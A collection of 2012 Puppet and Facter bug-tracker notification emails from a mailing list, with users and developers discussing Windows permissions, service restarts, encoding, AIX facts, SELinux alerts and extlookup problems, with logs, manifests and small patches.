[Puppet - Bug #11563] Puppet on Windows can drop access control entries if the mode is not specified
Issue #11563 has been updated by Feifei Jia.
Affected Puppet version changed from 2.7.9 to 2.7.12
Thanks Josh, I did exactly as you said, specified 0770 to file resource.
Still got warning:
pre
notice: /Stage[main]/Module::Start/File[c:\dir\launch.bat]/mode: mode changed '0
700' to '0770'
err: /Stage[main]/Module::Start/Exec[cmd /c start /i cmd /c
launch.bat]/returns: ch
ange from notrun to 0 failed: Permission denied - C:/Users/ADMINI~1.WIN/AppData/
Local/Temp/puppet20120329-3076-1q1mxmo-0
/pre
Should I execute *icacls file* every time before executing the launch.bat
script in Puppet?
Bug #11563: Puppet on Windows can drop access control entries if the mode is
not specified
https://projects.puppetlabs.com/issues/11563#change-58969
Author: Feifei Jia
Status: Accepted
Priority: Normal
Assignee: Josh Cooper
Category: windows
Target version: 2.7.x
Affected Puppet version: 2.7.12
Keywords: windows file mode permissions
Branch:
I've tested Puppet client in Windows 2008 recently, on EC2 instance.
One problem I found is that, after I a first time successfully run, I
encountered CreateProcess() failed error:
pre
info: Caching catalog for ip-.ec2.internal
info: Applying configuration version '1324881415'
err: /Stage[main]//Node[ip-.ec2.internal]/Foo::Set_role[chrome]/File
[c:\download\setup_env.bat]: Could not evaluate: CreateProcess() failed: The
system cannot find the file specified.
notice: /Stage[main]//Node[ip-.ec2.internal]/Foo::Set_role[chrome]/E
xec[setup_env.bat]: Dependency File[c:\download\setup_env.bat] has failures:
tru e warning:
/Stage[main]//Node[ip-.ec2.internal]/Foo::Set_role[chrome]/
Exec[setup_env.bat]: Skipping because of failed dependencies
/pre
Related manifests:
pre
class foo {
define set_role ($role) {
file { 'c:\download\setup_env.bat':
ensure = file,
provider = windows,
content = template(foo/setup_env.bat.erb),
}
exec { 'setup_env.bat':
cwd = 'c:\download',
path = 'c:\download;%PATH%',
provider = windows,
require = File['c:\download\setup_env.bat'],
}
}
}
/pre
When I remove c:\download\setup_env.bat file, I can retrieve this file from
Puppet master, and execute well.
Puppet 2.7.9
Facter 1.6.4
Windows 2008 Datacenter SP2
Any hints?
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13349] (Re-opened) Odd search order for manifests when names partially match
Issue #13349 has been updated by Mark Dixon.
Status changed from Closed to Re-opened
Hi,
Thanks for looking at this - but I notice that using ::bar::something causes
something even stranger to occur! Consider:
PRE
$ cat test.pp
class { 'foo::test': }
class foo::test {
class { '::bar::something': }
}
# /.*bar::something/ manifests
# - puppet gives me this one...
class bar::something {
notify { 'peep peep!': withpath = true }
}
# - ... AND this one!
class foo::bar::something {
notify { 'poop poop!': withpath = true }
}
/PRE
Running this gives:
PRE
$ puppet apply test.pp
notice: /Stage[main]/Bar::Something/Notify[peep peep!]/message: peep peep!
notice: /Stage[main]/Bar::Something/Notify[peep peep!]/message: defined
'message' as 'peep peep!'
notice: /Stage[main]/Foo::Bar::Something/Notify[poop poop!]/message: poop poop!
notice: /Stage[main]/Foo::Bar::Something/Notify[poop poop!]/message: defined
'message' as 'poop poop!'
notice: Finished catalog run in 0.04 seconds
/PRE
Is it really correct behaviour for puppet to use both `bar::something` and
`foo::bar::something` when you specify `::bar::something`?
Thanks,
Mark
Bug #13349: Odd search order for manifests when names partially match
https://projects.puppetlabs.com/issues/13349#change-58970
Author: Mark Dixon
Status: Re-opened
Priority: Normal
Assignee:
Category: modules
Target version:
Affected Puppet version: 2.7.11
Keywords:
Branch:
I find that if I try and include manifest `bar::something` from within
`foo::test`, puppet preferentially finds `foo::bar::something` instead of
`bar::something`. Puppet 2.7.11.
Please consider the following puppet code which demonstrates this:
PRE
$ cat test.pp
class { 'foo::test': }
class foo::test {
class { 'bar::something': }
}
# /.*bar::something/ manifests
# - This is the one I thought I'd get
class bar::something {
notify { 'peep peep!': withpath = true }
}
# - This is the one that wins
class foo::bar::something {
notify { 'poop poop!': withpath = true }
}
/PRE
Running it gives:
PRE
$ puppet apply test.pp
notice: /Stage[main]/Foo::Bar::Something/Notify[poop poop!]/message: poop poop!
notice: /Stage[main]/Foo::Bar::Something/Notify[poop poop!]/message: defined
'message' as 'poop poop!'
notice: Finished catalog run in 0.05 seconds
/PRE
Is this a bug?
Thanks,
Mark
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13533] (Unreviewed) Puppet UTF-8 and windows-1250 encoding (puppet facts)
Issue #13533 has been reported by Jan Ziegler. Bug #13533: Puppet UTF-8 and windows-1250 encoding (puppet facts) https://projects.puppetlabs.com/issues/13533 Author: Jan Ziegler Status: Unreviewed Priority: Normal Assignee: Category: Target version: Affected Puppet version: Keywords: Branch: Hi, When using German Windows on a puppet client there is a facter line: Mitteleuropäische Zeit Puppet doesn't like this line because of the ä. Changing the ä to an a manually for example works. I'm using Foreman in connection with puppet (foreman and puppetmaster on same machine) and as a result of this problem foreman won't display any facts about the windows client. Working with Linux Clients works perfectly. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13489] Service refresh on windows [version 2.7.12] triggered from (chaining|subscribe|notify) dosn't work and gives error.
Issue #13489 has been updated by mello mollo.
Josh Cooper wrote:
Thanks, yes, this is broken, both for autostart and manual services:
[...]
Output:
[...]
Hi, i have made some more test:
i have modified the following file /lib/puppet/provider/service/windows.rb
line 87:
pre
def restart
self.stop
sleep 0.1 while Win32::Service.status(@service_name).current_state !=
'stopped'#line added
self.start
end
/pre
now work without problems.
First i tried using the integrated status definition:
pre
def restart
self.stop
sleep 0.1 while self.status != :stopped #line added
self.start
end
/pre
but it doesn't work.
So i think the problem is somewhere in the following lines 96-97:
pre
when stopped, pause pending, stop pending, paused then :stopped
when running, continue pending, start pending then :running
/pre
Hope that help to solve the problem.
Bye Mello.
Bug #13489: Service refresh on windows [version 2.7.12] triggered from
(chaining|subscribe|notify) dosn't work and gives error.
https://projects.puppetlabs.com/issues/13489#change-58971
Author: mello mollo
Status: Accepted
Priority: Normal
Assignee: Josh Cooper
Category: windows
Target version: 2.7.x
Affected Puppet version: 2.7.12
Keywords: windows service
Branch:
Hi, i have the following simple site.pp on the linux server [2.7.12] (to test
puppet on windows client [2.7.12]):
pre
node 'prova' {
service { 'NetTimeSvc':
ensure = 'running',
}
exec { 'nettime_run_reg':
command = c:/windows/regedit.exe /s c:/prova/NetTime.reg,
}
Exec['nettime_run_reg'] ~ Service['NetTimeSvc']
}
/pre
On windows client the following message appear when i run puppet agent --test
--verbose:
(Note: the service NetTimeSvc is already running)
pre
notice: /Stage[main]//Node[##]/Exec[nettime_run_reg]/returns:
executed successfully
info: /Stage[main]//Node[##]/Exec[nettime_run_reg]: Scheduling
refresh of Service[NetTimeSvc]
err: /Stage[main]//Node[##]/Service[NetTimeSvc]: Failed to call
refresh: Cannot start NetTimeSvc, error was: An instance of the service is
already running.
notice: Finished catalog run in 1.68 seconds
/pre
After this the service NetTimeSvc is in state stopped!
If the service was already stopped before running puppet the last error line is
replaced with the following:
pre
notice: /Stage[main]//Node[##]/Service[NetTimeSvc]/ensure: ensure
changed 'stopped' to 'running'
err: /Stage[main]//Node[##]/Service[NetTimeSvc]: Failed to call
refresh: Cannot stop NetTimeSvc, error was: The requested control is not valid
for this service.
/pre
After this the service NetTimeSvc is in state running!
I tried adding hasrestart and hasstatus (both with true or false value) to
the service definition, but seems that, for windows client, puppet ignore them!
I even tried to work with a service integrated in windows (as the Spooler) but
it gives me the same error messages.
Can you please confirm me if the problem does really exists or i am the only
one to experience it?
Bye, Mello.
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13533] Puppet UTF-8 and windows-1250 encoding (puppet facts)
Issue #13533 has been updated by Jan Ziegler. I already wrote with Ohad Levy from Foreman and that's his opinion about it: it sounds to me like two different bugs: 1. facter does not verify that it gets the values in UTF8 2. foreman does not check that either. imho, its best solved in 1, and as a workaround ,we can probably fix it in 2 as well. Bug #13533: Puppet UTF-8 and windows-1250 encoding (puppet facts) https://projects.puppetlabs.com/issues/13533#change-58972 Author: Jan Ziegler Status: Unreviewed Priority: Normal Assignee: Category: Target version: Affected Puppet version: Keywords: Branch: Hi, When using German Windows on a puppet client there is a facter line: Mitteleuropäische Zeit Puppet doesn't like this line because of the ä. Changing the ä to an a manually for example works. I'm using Foreman in connection with puppet (foreman and puppetmaster on same machine) and as a result of this problem foreman won't display any facts about the windows client. Working with Linux Clients works perfectly. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13317] Storeconfig error with postgresql
Issue #13317 has been updated by Svein Harald Soleim. 1. Postgres 8.4.9 2. Clean install new vm. 3. No nothing special, I'm learning puppet as I go so its minimal. I'm only distributing ssh-server keys with pgsql backend as of now. Bug #13317: Storeconfig error with postgresql https://projects.puppetlabs.com/issues/13317#change-58974 Author: Svein Harald Soleim Status: Needs More Information Priority: Normal Assignee: Svein Harald Soleim Category: Target version: Affected Puppet version: 2.7.12 Keywords: Branch: I'm using CentOS 6.2 with http://yum.puppetlabs.com. When I run puppetmaster from init.d I get pgsql errors in the log: Mar 22 09:58:13 puppet puppet-master[7156]: could not connect to server: Permission denied#012#011Is the server running on host puppet.example.com and accepting#012#011TCP/IP connections on port 5432?#012could not connect to server: Permission denied#012#011Is the server running on host puppet.example.com and accepting#012#011TCP/IP connections on port 5432? But when I run it from commandline it seems to run fine puppet master --verbose --no-daemonize --masterport 8140 notice: Starting Puppet master version 2.7.12 info: access[^/catalog/([^/]+)$]: allowing 'method' find info: access[^/catalog/([^/]+)$]: allowing $1 access info: access[^/node/([^/]+)$]: allowing 'method' find info: access[^/node/([^/]+)$]: allowing $1 access info: access[/certificate_revocation_list/ca]: allowing 'method' find info: access[/certificate_revocation_list/ca]: allowing * access info: access[/report]: allowing 'method' save info: access[/report]: allowing * access info: access[/file]: allowing * access info: access[/certificate/ca]: adding authentication any info: access[/certificate/ca]: allowing 'method' find info: access[/certificate/ca]: allowing * access info: access[/certificate/]: adding authentication any info: access[/certificate/]: allowing 'method' find info: access[/certificate/]: allowing * access info: access[/certificate_request]: adding authentication any info: access[/certificate_request]: allowing 'method' find info: access[/certificate_request]: allowing 'method' save info: access[/certificate_request]: allowing * access info: access[/status]: adding authentication any info: access[/status]: allowing 'method' find info: access[/status]: allowing 'method' save info: access[/status]: allowing * access info: access[/]: adding authentication any info: access[/]: adding environment production info: access[/]: allowing * access info: Connecting to postgresql database: puppet info: Expiring the node cache of puppetnode2.example.com info: Not using expired node for puppetnode2.example.com from cache; expired at Thu Mar 22 10:06:51 +0100 2012 info: Caching node for puppetnode2.example.com The database also comfirms that the commandline works. I'm using the following gems: * abstract (1.0.0) * actionmailer (3.0.11) * actionpack (3.0.11) * activemodel (3.0.11) * activerecord (3.0.11) * activeresource (3.0.11) * activesupport (3.0.11) * arel (3.0.2, 2.0.10) * builder (3.0.0, 2.1.2) * bundler (1.1.2) * erubis (2.7.0, 2.6.6) * fastthread (1.0.7) * hike (1.2.1) * i18n (0.6.0, 0.5.0) * journey (1.0.3) * json (1.6.5) * mail (2.4.4, 2.2.19) * mime-types (1.18) * multi_json (1.1.0) * pg (0.13.2) * polyglot (0.3.3) * postgres (0.8.1) * rack (1.4.1, 1.2.5, 1.1.0) * rack-cache (1.2) * rack-mount (0.6.14) * rack-ssl (1.3.2) * rack-test (0.6.1, 0.5.7) * rails (3.2.2) * railties (3.2.2) * rake (0.9.2.2) * rdoc (3.12) * sprockets (2.1.2) * stomp (1.1.8) * thor (0.14.6) * tilt (1.3.3) * treetop (1.4.10) * tzinfo (0.3.32) -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Facter - Bug #11609] aix facter show additional number ahead the cpu model
Issue #11609 has been updated by Malcolm Howe. The problem arises because in facter/processor.rb processor_list_aix is a hash unlike like processor_list which is an array. This is because in AIX the processors are not necessarily numbered sequentially. So $ lsdev -Cc processor proc0 Available 00-00 Processor proc2 Available 00-02 Processor proc4 Available 00-04 Processor proc6 Available 00-06 Processor proc8 Available 00-08 Processor proc10 Defined 00-10 Processor $ lsattr -El proc0 -a type type PowerPC_POWER6 Processor type False $ facter | grep processor processor0 = 0PowerPC_POWER6 processor1 = 6PowerPC_POWER6 processor2 = 2PowerPC_POWER6 processor3 = 8PowerPC_POWER6 processor4 = 4PowerPC_POWER6 processor5 = 10PowerPC_POWER6 processorcount = 6 But with the patch (based on facter 1.6.6) 95c95 processor_list_aix.each_with_index do |desc, i| --- processor_list_aix.each do |i, desc| We get the result $ facter | grep processor processor0 = PowerPC_POWER6 processor10 = PowerPC_POWER6 processor2 = PowerPC_POWER6 processor4 = PowerPC_POWER6 processor6 = PowerPC_POWER6 processor8 = PowerPC_POWER6 processorcount = 6 Of course this does raise the question of whether the facter facts should be numbered according to the AIX processor numbering or sequentially but the use of a hash in the first place suggests the intention was the former. Bug #11609: aix facter show additional number ahead the cpu model https://projects.puppetlabs.com/issues/11609#change-58975 Author: hongbo hu Status: Investigating Priority: Normal Assignee: Category: library Target version: Keywords: aix facter Branch: Affected Facter version: 1.6.4 processor0 = 0PowerPC_POWER6 -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Facter - Bug #13535] (Unreviewed) Facter uptime can be wrong or negative on AIX
Issue #13535 has been reported by Malcolm Howe.
Bug #13535: Facter uptime can be wrong or negative on AIX
https://projects.puppetlabs.com/issues/13535
Author: Malcolm Howe
Status: Unreviewed
Priority: Normal
Assignee:
Category:
Target version:
Keywords:
Branch:
Affected Facter version: 1.6.6
On AIX facter can show a negative uptime
uptime = -260 days
uptime_days = -260
uptime_hours = -6219
uptime_seconds = -22385831
This occurs because of the four methods for calculating uptime in
facter/util/uptime.rb the only one that can be used on AIX is who -b. But on
AIX who -b doesn't display the year
$ who -b
.system boot 14 Dec 10:30
so the current year is assumed which in this example results in a negative
uptime. A possible solution would be to use the uptime (or equivalently w -u)
command which produces similar output on AIX as it does on Linux
$ uptime
10:46AM up 106 days, 23:18, 3 users, load average: 0.03, 0.33, 0.53
For example
--- uptime.rb.save 2012-02-28 11:25:38.0 +
+++ uptime.rb 2012-03-30 11:03:05.0 +0100
@@ -4,7 +4,7 @@
#
module Facter::Util::Uptime
def self.get_uptime_seconds_unix
- uptime_proc_uptime or uptime_sysctl or uptime_kstat or
uptime_who_dash_b
+ uptime_proc_uptime or uptime_sysctl or uptime_kstat or uptime_uptime
or uptime_who_dash_b
end
def self.get_uptime_seconds_win
@@ -37,6 +37,20 @@
end
end
+ def self.uptime_uptime
+ if output = Facter::Util::Resolution.exec(#{uptime_uptime_cmd}
2/dev/null)
+ up=0
+ if output =~ /(\d+) days,\s+(\d+):(\d+)/
+ up=86400*$1.to_i + 3600*$2.to_i + 60*$3.to_i
+ elsif output =~ /(\d+):(\d+),/
+ up=3600*$1.to_i + 60*$2.to_i
+ elsif output =~ /(\d+) mins,/
+ up=($1.to_i*60)
+ end
+ up
+ end
+ end
+
def self.uptime_who_dash_b
if output = Facter::Util::Resolution.exec(#{uptime_who_cmd} 2/dev/null)
compute_uptime(Time.parse(output))
@@ -57,6 +71,10 @@
def self.uptime_kstat_cmd
'kstat -p unix:::boot_time'
+ end
+
+ def self.uptime_uptime_cmd
+ 'uptime'
end
def self.uptime_who_cmd
results in the facter output
uptime = 106 days
uptime_days = 106
uptime_hours = 2567
uptime_seconds = 9242280
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13536] (Unreviewed) Default rundir now /var/run/puppet and not home dir
Issue #13536 has been reported by Dominic Cleal. Bug #13536: Default rundir now /var/run/puppet and not home dir https://projects.puppetlabs.com/issues/13536 Author: Dominic Cleal Status: Unreviewed Priority: Normal Assignee: Category: Target version: Telly Affected Puppet version: development Keywords: Branch: Since ticket #7749 was merged into master (commit e465c16), the default rundir value when running as an unprivileged user has changed to /var/run/puppet. It used to be $vardir/run. Now: $ git co e465c16 $ puppet apply --genconfig | grep -B 1 rundir = # Where Puppet PID files are kept. rundir = /var/run/puppet And before: $ git co e465c16~1 $ puppet agent --genconfig | grep -B 2 rundir = # Where Puppet PID files are kept. # The default value is '$vardir/run'. rundir = /home/dcleal/.puppet/var/run This causes errors as it tries to manage these directories while unprivileged: err: failed to set mode 755 on /var/run/puppet: Operation not permitted - /var/run/puppet err: /File[/var/run/puppet]/mode: change from 0755 to 1777 failed: failed to set mode 755 on /var/run/puppet: Operation not permitted - /var/run/puppet err: Got 2 failure(s) while initializing: failed to set mode 755 on /var/run/puppet: Operation not permitted - /var/run/puppet; change from 0755 to 1777 failed: failed to set mode 755 on /var/run/puppet: Operation not permitted - /var/run/puppet -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13489] Service refresh on windows [version 2.7.12] triggered from (chaining|subscribe|notify) dosn't work and gives error.
Issue #13489 has been updated by mello mollo.
mello mollo wrote:
Hi, i have made some more test:
Sorry if i reply to myself, but a better solution could be something as:
pre
def restart
self.stop
Timeout::timeout(60) {
sleep 0.1 while Win32::Service.status( @resource[:name] ).current_state
!= 'stopped'
}
rescue Timeout::Error
raise Timeout::Error, Timed out while waiting for service
#{@resource[:name]}.
self.start
end
/pre
need to add:
pre
require 'timeout'
/pre
bye Mello
Bug #13489: Service refresh on windows [version 2.7.12] triggered from
(chaining|subscribe|notify) dosn't work and gives error.
https://projects.puppetlabs.com/issues/13489#change-58976
Author: mello mollo
Status: Accepted
Priority: Normal
Assignee: Josh Cooper
Category: windows
Target version: 2.7.x
Affected Puppet version: 2.7.12
Keywords: windows service
Branch:
Hi, i have the following simple site.pp on the linux server [2.7.12] (to test
puppet on windows client [2.7.12]):
pre
node 'prova' {
service { 'NetTimeSvc':
ensure = 'running',
}
exec { 'nettime_run_reg':
command = c:/windows/regedit.exe /s c:/prova/NetTime.reg,
}
Exec['nettime_run_reg'] ~ Service['NetTimeSvc']
}
/pre
On windows client the following message appear when i run puppet agent --test
--verbose:
(Note: the service NetTimeSvc is already running)
pre
notice: /Stage[main]//Node[##]/Exec[nettime_run_reg]/returns:
executed successfully
info: /Stage[main]//Node[##]/Exec[nettime_run_reg]: Scheduling
refresh of Service[NetTimeSvc]
err: /Stage[main]//Node[##]/Service[NetTimeSvc]: Failed to call
refresh: Cannot start NetTimeSvc, error was: An instance of the service is
already running.
notice: Finished catalog run in 1.68 seconds
/pre
After this the service NetTimeSvc is in state stopped!
If the service was already stopped before running puppet the last error line is
replaced with the following:
pre
notice: /Stage[main]//Node[##]/Service[NetTimeSvc]/ensure: ensure
changed 'stopped' to 'running'
err: /Stage[main]//Node[##]/Service[NetTimeSvc]: Failed to call
refresh: Cannot stop NetTimeSvc, error was: The requested control is not valid
for this service.
/pre
After this the service NetTimeSvc is in state running!
I tried adding hasrestart and hasstatus (both with true or false value) to
the service definition, but seems that, for windows client, puppet ignore them!
I even tried to work with a service integrated in windows (as the Spooler) but
it gives me the same error messages.
Can you please confirm me if the problem does really exists or i am the only
one to experience it?
Bye, Mello.
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13308] mcollective/puppetd 2.7.11-2 RHEL57 SELinux alert
Issue #13308 has been updated by Stefan Heijmans. Hi Eric, the command from the puppet-master was; When we do a puppet-run from the puppetmaster with the mcollective plugin puppetd; 'mco puppetd --wi hostname runonce' and not; 'mco puppetd --wi runonce' Can you also check what the SELinux label is of puppet temporary file, I used the following loop with 0.5 second delay; #while true; do ls -lZ /tmp/*puppet*; perl -e select(undef, undef, undef, 0.5); done This is what I get; # while true; do ls -lZ /tmp/*puppet*; perl -e select(undef, undef, undef, 0.5); done ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory -rw--- root root user_u:object_r:initrc_tmp_t /tmp/puppet.4510.0 ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory ls: /tmp/*puppet*: No such file or directory # /var/log/messages Mar 30 12:50:14 hostname puppet-agent[4510]: Reopening log files Mar 30 12:50:20 hostname puppet-agent[4510]: (/Stage[main]/Common::Config-sysadmin/User[heijmans]/password) changed password Mar 30 12:50:20 hostname setroubleshoot: SELinux is preventing the nscd from using potentially mislabeled files (/tmp/puppet.4510.0). For complete SELinux messages. run sealert -l 3d2bf8ff-2d97-492a-a644-d5c2de71db07 Mar 30 12:50:20 hostname last message repeated 3 times Mar 30 12:50:23 hostname puppet-agent[4510]: Finished catalog run in 4.43 seconds I can’t reproduce this bug. Tried first in PE, then with the (near) identical FOSS setup. Such a shame but which version of PE and centos did you use? Perhaps I can try it with those as wel.. Stefan Bug #13308: mcollective/puppetd 2.7.11-2 RHEL57 SELinux alert https://projects.puppetlabs.com/issues/13308#change-58977 Author: Stefan Heijmans Status: Investigating Priority: Normal Assignee: Michael Stahnke Category: Target version: Affected Puppet version: Keywords: Branch: 2.7.11-2 Hello, We are running Puppet 2.7.11-2 on RHEL57 x86_64 with MCollective (on client and server); On the client; # rpm -qa|grep -e puppet -e mcollective mcollective-common-1.2.1-1.el5 puppet-2.7.11-2.el5 mcollective-1.2.1-1.el5 # with kernel; Linux hostname 2.6.18-274.18.1.el5 #1 SMP Fri Jan 20 15:11:18 EST 2012 x86_64 x86_64 x86_64 GNU/Linux with SELinux enabled. # facter|grep sel selinux = true selinux_config_mode = enforcing selinux_config_policy = targeted selinux_current_mode = enforcing selinux_enforced = true selinux_mode = targeted selinux_policyversion = 21 # In one of our manifest we set the password for some users. When we do a puppet-run from the puppetmaster with the mcollective plugin puppetd; 'mco puppetd --wi hostname runonce' we get the following (reproducible) SELinux Alert. Summary: SELinux is preventing the nscd from using potentially mislabeled files (/tmp/puppet.30676.0). Detailed Description: SELinux has denied nscd access to potentially mislabeled file(s) (/tmp/puppet.30676.0). This means that SELinux will not allow nscd to use these files. It is common for users to edit files in their home directory or tmp directories and then move (mv) them to system directories. The problem is that the files end up with the wrong file context which confined applications are not allowed to access. Allowing Access: If you want nscd to access this files, you need to relabel them using
[Puppet - Bug #13537] (Unreviewed) Overriding class parameters doesn't actually pass new parameters.
Issue #13537 has been reported by Marek Kroemeke.
Bug #13537: Overriding class parameters doesn't actually pass new parameters.
https://projects.puppetlabs.com/issues/13537
Author: Marek Kroemeke
Status: Unreviewed
Priority: Normal
Assignee:
Category:
Target version:
Affected Puppet version:
Keywords:
Branch:
Hello,
OS: RHEL 5.8, RHEL 5.7
Puppet: 2.7.11, 2.7.12*
I'm not 100% certain if this a design decision or simply a bug - but because
puppet doesn't complain about the syntax I suspect this is a bug.
pre
class nodetype::foo {
class { network:
default_gateway = '172.23.1.1',
routes = {
multicast = {
comment = 'multicast over eth0',
address = '224.0.0.0',
netmask = '240.0.0.0',
},
}
}
}
class nodetype::foo::egg inherits nodetype::foo {
Class[network] {
default_gateway = '172.23.1.2',
}
}
/pre
This does not work - i.e. parameter passes is still 172.23.1.1.
Best regards,
Marek
* daysman@#puppet
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #9854] extlookup_datadir and extlookup_precedence not being set in puppet 2.7.1
Issue #9854 has been updated by Gary Wilson (@earthgecko).
### more.info
Same issue upgrading from el6 2.6.12 puppet and puppetmasterd to 2.7.12
A puppet node was updated to 2.7.12 and the puppetmaster was left running
2.6.12 with webrick and the node puppetd broke.
Running a 2.7.12 node against a 2.6.12 puppetmaster results in:
pre
err: Could not retrieve catalog from remote server: Error 400 on SERVER: No
support for http method POST
/pre
But that is expected - 2.6 to 2.7 client uses POST? A lot of chatter in
groups, etc says it is. However this redmine says that the No support for
http method POST string does not exist publicly in this project, so maybe it
is a bug as that is not very backward compatible. This is not a criticism,
just a note, maybe it is expected or should it be reported as a separate bug.
So updated the second master puppetmaster server to 2.7.12 both puppet and
puppet-server (from yum.puppetlabs.com) and extlookup fails on 2.7.12 as well.
pre
err: Could not retrieve catalog from remote server: Error 400 on SERVER: No
match found for 'zpf-glusterfs-dev-1-40g-ruk.private.ip' in any data file
during extlookup() at /etc/puppet/modules/glusterfs-client/manifests/init.pp:45
on node zpf-masterdb-dev-1-10g-ruk
/pre
Guess time to either look at that workaround or rollback node and second
puppetmaster to 2.6.14
Workaround it is then. No point going backwards :)
Thanks everyone at puppetlabs and the contributors for a great project btw.
You are helping us all keep up with it, although we all struggle to keep up
with it all I am sure, but every little helps, thanks.
Bug #9854: extlookup_datadir and extlookup_precedence not being set in puppet
2.7.1
https://projects.puppetlabs.com/issues/9854#change-58978
Author: Lex van Roon
Status: Accepted
Priority: Urgent
Assignee:
Category: server
Target version: 2.7.x
Affected Puppet version: 2.7.1
Keywords:
Branch:
During tests on a puppet 2.7.1 setup, we've discovered that we could no longer
use extlookups. With 2.6, we use the following (cleaned up) manifest to perform
extlookups. Note that we use a custom fact to derive the zone + location
variables from the domain name, which are 'core' and 'ams01' in our situation.
We derive the datadir from the currently used module using an inline template.
class test {
$extlookup_datadir = inline_template(%=
Puppet::Node::Environment.current.module('${module_name}').path %/extdata)
$extlookup_precedence = [hosts/%{fqdn}, %{zone}-%{location},
%{location}, inline_template(%= if defined? @location then
location.gsub(/[^a-z\s]/, \\) end%), 'default']
notify { extlookup_datadir: ${extlookup_datadir}:; }
